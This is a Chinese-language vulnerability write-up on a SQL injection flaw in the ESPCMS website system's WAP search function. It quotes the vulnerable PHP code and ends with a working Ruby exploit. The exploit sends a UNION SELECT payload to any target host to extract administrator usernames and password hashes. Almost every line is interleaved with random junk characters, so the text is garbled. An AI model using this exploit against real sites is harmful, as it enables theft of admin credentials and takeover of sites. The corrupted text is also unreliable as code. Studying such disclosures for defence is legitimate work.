0×0 漏洞概述0×1 漏洞细节, C9 `' t& p7 R' f& G; z: C
0×2 PoC
( t% @" L+ H0 j$ e: t9 ?. d- t' {8 L) j& a$ Q
9 Q) g. p# K( B
' H/ \! U: a& |% r
0×0 漏洞概述
% B8 v: ]* _5 n, H$ \2 O' ~2 Q5 \) H
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
/ I$ ~$ h) {1 w) r; q0 _其在处理传入的参数时考虑不严谨导致SQL注入发生
9 B& u( O+ `" n! }' |* Q
5 ?8 O% l+ b4 R! H7 \- }9 ?
3 r( j. i' N+ R- Y8 Q) K H0×1 漏洞细节
: p* [* D4 q6 a y# f, a
) q, E8 M4 N) I9 l变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
# ]7 B! a8 g) ^9 D4 u3 A( f正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。9 B3 e4 M. j ?
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
* `! I4 ] X; \6 _8 }4 b
- w' I) m$ p* Q1 \; U在/interface/3gwap_search.php文件的in_result函数中:* R: n- ~: s2 ]
# K* }! W- Z6 l- ~5 l8 [3 u% @
* n! J5 J! \: G( L. q. d6 W
7 s: y+ B n7 Q: g$ ~ function in_result() {
# F' [& Z! G3 M4 T# G ... ... ... ... ... ... ... ... ...
{& t2 Y" `, L$ h7 o $urlcode = $_SERVER[ 'QUERY_STRING '];
0 }$ Y9 T( u3 t' ^+ ? parse_str(html_entity_decode($urlcode), $output);/ |3 p) s7 [5 c& M @2 t! { J
- \2 X7 c, r, } G3 l# ~ ... ... ... ... ... ... ... ... ...
! y: n( M9 z6 K$ _0 b if (is_array($output['attr' ]) && count($output['attr']) > 0) {: K5 e% ^9 ^, ?
. ]* L1 w3 V' j6 }% u $db_table = db_prefix . 'model_att';
; K. F/ }" s- A3 w' j- u1 j9 U+ \8 @) }
foreach ($output['attr' ] as $key => $value) {4 `& p3 Q( e6 }
if ($value) {1 c( ], d7 j3 \% B1 l. P5 L
; S' Z6 j9 _- F" m' t' M
$key = addslashes($key);
% k( }% A/ t' ]6 p8 o2 o8 f $key = $this-> fun->inputcodetrim($key);! ~* ~$ q1 r0 {! ]) P
$db_att_where = " WHERE isclass=1 AND attrname='$key'";0 I% G9 x) d' ~' `- F/ V% j2 `4 H
$countnum = $this->db_numrows($db_table, $db_att_where);8 @+ ~: C3 p$ |3 s9 @- v
if ($countnum > 0) {0 f7 I d% T' \0 t
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;6 e7 B% A: k& z7 E
}6 u; V) N: M/ A+ d; S8 t6 a$ p
}
0 R" x5 h! U' g: p* N6 O8 ] }! _/ A* J+ s5 ]9 R7 Y
}, D- O0 F$ g1 p/ K4 j1 S
if (!empty ($keyword) && empty($keyname)) {
0 A, f1 N7 l! ?& V# [! s8 e" c6 W $keyname = 'title';
6 i5 p( Y9 N0 X2 {# O3 Y7 L $db_where.= " AND a.title like '%$keyword%'" ;! ~, k2 c5 X9 ]- h/ E8 {" W
} elseif (!empty ($keyword) && !empty($keyname)) {
7 y5 a, N7 Z+ l' t2 X $db_where.= " AND $keyname like '% $keyword%'";# D5 M3 ^& j. z5 u3 v. `
}( r* G4 a3 S: f5 e! O: W% M
$pagemax = 15;0 I" }9 \0 q/ m9 k( a7 ]
0 Z! z0 x. _2 P/ n1 ?- d
$pagesylte = 1;% X. N) j1 B2 P7 j& w
6 z) s7 q' F( d if ($countnum > 0) {
- p0 T+ j( @, f9 T5 P5 t0 {5 n
: E$ S* X# q0 M8 D. v5 Y+ v2 V $numpage = ceil($countnum / $pagemax);
; e4 U$ s% g K5 B } else {
5 V8 B; J0 q9 x0 ` $numpage = 1;
4 L" q% _+ G% f+ e& h( Y7 x }
' H0 P" c& k( {2 N1 J: D1 Q9 F3 { $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
) v9 h+ \3 W8 u8 a& q5 Z7 X/ S $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);- N/ Q! {5 l! l! R7 `" m
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);+ d+ H( V3 t6 u; |, n
... ... ... ... ... ... ... ... ...
/ l3 X5 j+ Z2 v+ A. m+ X }
& }# B# Y d. Y8 s# u+ d% L5 D* X( z3 c: U" i1 \$ ^
% r% D$ ?8 F4 J/ Y( Y( x0×2 PoC' b. W3 I/ c1 H7 N2 }
- q, ~: M; z8 N- h4 O* q$ r1 W' D& F4 G- C- r: x- l! m* A$ y# ~
# P- U8 z, S ]* J$ c. C9 Q$ ^ Urequire "net/http"
7 i/ W# x3 V7 x( \+ f4 t( F6 ?" ?2 I
6 [( f9 B0 s. {def request(method, url)* C0 ]' A3 L# _. v! e% A$ P8 Z" a
if method.eql?("get")* \* q# T6 b3 J0 c% B) j+ k" t
uri = URI.parse(url)% x q9 T/ ?# }- l
http = Net::HTTP.new(uri.host, uri.port)8 \7 I9 J1 S; I5 {0 k6 F% t
response = http.request(Net::HTTP::Get.new(uri.request_uri))$ r8 Z* B$ {$ r( T
return response, h* Z9 L4 e7 o1 p R! y2 B
end& Z9 `# u( E' q8 l0 m& P2 ?
end4 ?, C1 x4 \* k2 ~" i2 V* v- y
" T* o' X8 x1 @
doc =<<HERE
" X7 H) }( P* A-------------------------------------------------------6 k3 b& N: A8 h! F
Espcms Injection Exploit
2 _' @; W9 u! ~2 AAuthor:ztz
: I0 T: P% p; O8 H5 yBlog:http://ztz.fuzzexp.org/4 P1 p1 O0 N6 D% n1 _
-------------------------------------------------------$ H, f; P, S. V) u+ X: d6 u$ ~
* p1 q/ U% x, n3 M
HERE4 l T6 u4 P2 t: `) z
& ?9 z6 S* X' \: z8 b, @; y- Iusage =<<HERE( F% r8 |: h! ]5 s2 O4 F0 g! T
Usage: ruby #{$0} host port path, w. Z7 k! I- a) a
example: ruby #{$0} www.target.com 80 /
; t' t0 T N, r4 D- J4 W$ N& zHERE
: S: E* N% p% {% O
9 G# b" |9 y% e8 [( ?+ [0 l( L( ?puts doc- u! _. E/ t; `+ g! d4 [" h
if ARGV.length < 3' k- j3 l& f; |4 N9 u2 q3 C- x
puts usage) h; C9 k+ N' s4 Y
else
. w$ x1 _' J8 d2 n, n6 K0 H $host = ARGV[0]
8 j( L6 U: J M $port = ARGV[1]
# ^6 P+ C4 z! b7 N. s/ L2 O9 T $path = ARGV[2] M" h$ h' E. e1 C
0 X9 w; k% I$ x- A
puts "send request..."
# I9 b; f( f2 f. O7 Y6 f3 x: Z6 M url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&* ^* S% Y7 |! e! w7 K& z
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,131 L; n( K( |% M, I, b* M, Z' u
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27% H) X: z; }2 h; f# ? k1 \
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
, r1 p/ }% X6 p- ~4 D response = request("get", url)
0 E% v6 u* e9 k6 ` V3 ` result = response.body.scan(/\w+&\w{32}/)+ t8 u8 W2 m& w* z/ T6 [3 d$ H
puts result
' S6 y3 I$ x: s, c; a- qend e; D8 H- ~. J! c! \: @. x; c
" m: f" q& r5 }$ z |